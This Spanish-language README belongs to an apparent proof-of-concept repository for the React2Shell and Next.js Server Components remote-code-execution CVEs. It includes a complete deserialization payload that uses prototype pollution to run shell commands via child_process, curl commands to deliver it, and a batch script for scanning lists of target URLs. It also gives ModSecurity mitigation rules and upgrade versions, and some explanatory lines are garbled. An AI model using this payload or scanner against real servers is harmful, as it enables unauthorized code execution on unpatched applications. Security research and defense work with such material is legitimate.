
MVP mínimo para reproducir las vulnerabilidades React2Shell (CVE-2025-55182) y Next.js RSC RCE (CVE-2025-66478). Incluye payload de explotación, script de escaneo por lotes y reglas de ModSecurity WAF para mitigación.
Este es un MVP mínimo para reproducir las vulnerabilidades React2Shell (CVE-2025-55182) y Next.js RSC RCE (CVE-2025-66478).
Este proyecto es solo para fines de investigación y educación en seguridad. No lo utilice en entornos de producción o en sistemas no autorizados.
CVE-2025-55182 es una vulnerabilidad crítica en React Server Components que afecta:
Los atacantes pueden explotar una vulnerabilidad de deserialización en el Flight Protocol mediante una solicitud multipart/form-data especialmente diseñada, logrando ejecución remota de código (RCE).
$@N para obtener un objeto Chunk internothen malicioso a través de $1:__proto__:thenthen contaminado durante await_formData.get como constructor de Functionnpm install
# o
yarn install
# o
pnpm install
npm run dev
El servidor se iniciará en http://localhost:3000.
Usa el script de prueba proporcionado:
# Prueba de un solo objetivo
./test-exploit.sh http://localhost:3000
# O directamente con curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
Si la vulnerabilidad existe, verás en la respuesta una salida similar a uid= (resultado de la ejecución del comando id).
.
├── app/
│ ├── actions.ts # Server Actions (punto de activación de la vulnerabilidad)
│ ├── page.tsx # Página principal
│ ├── layout.tsx # Diseño
│ └── globals.css # Estilos globales
├── package.json # Configuración de dependencias (versiones afectadas)
├── next.config.js # Configuración de Next.js
├── test-exploit.sh # Script de prueba de vulnerabilidad para un objetivo
├── scan-targets.sh # Script de escaneo masivo
├── exploit-payload.txt # Archivo de payload del exploit
├── Cve-2025-55182-modsecurity-rules.conf # Reglas de protección ModSecurity
└── README.md # Este archivo
Prueba si una sola URL es vulnerable:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Característica: Si la respuesta contiene uid= o gid=, la vulnerabilidad existe.
Escanea múltiples URLs objetivo:
# Crear archivo de lista de objetivos
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Ejecutar escaneo masivo
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
Los resultados del escaneo se guardan en vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // Secuestrar el método then
"status": "resolved_model", // Controlar la ruta de ejecución
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // Desencadenar deserialización de Blob
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // Secuestrar como Function
}
}
}
npm install [email protected] [email protected] [email protected]
Si no es posible actualizar de inmediato, se pueden implementar reglas de ModSecurity como mitigación temporal.
# 1. Instalar mod_security
sudo apt-get install libapache2-mod-security2
# 2. Copiar archivo de reglas
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Incluir reglas en la configuración de Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Añadir: Include /etc/modsecurity/modsecurity-rules.conf
# 4. Reiniciar Apache
sudo systemctl restart apache2
# 1. Instalar ModSecurity para Nginx
sudo apt-get install libnginx-mod-security
# 2. Copiar archivo de reglas
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. Habilitar en la configuración de Nginx
sudo vim /etc/nginx/nginx.conf
# En el bloque http o server añadir:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Reiniciar Nginx
sudo systemctl restart nginx
Las reglas de ModSecurity interceptan las siguientes características:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Nota: Las reglas WAF son solo una mitigación temporal y no proporcionan protección completa. Es necesario actualizar a las versiones corregidas.
Si tu aplicación puede estar afectada:
test-exploit.sh para probar tu aplicaciónNext-ActionSi quieres probar directamente con curl (sin usar el script):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
Si el resultado contiene uid= o gid=, la vulnerabilidad existe.
Este proyecto es solo para fines educativos. Al usar este código, cumple con las leyes y regulaciones aplicables.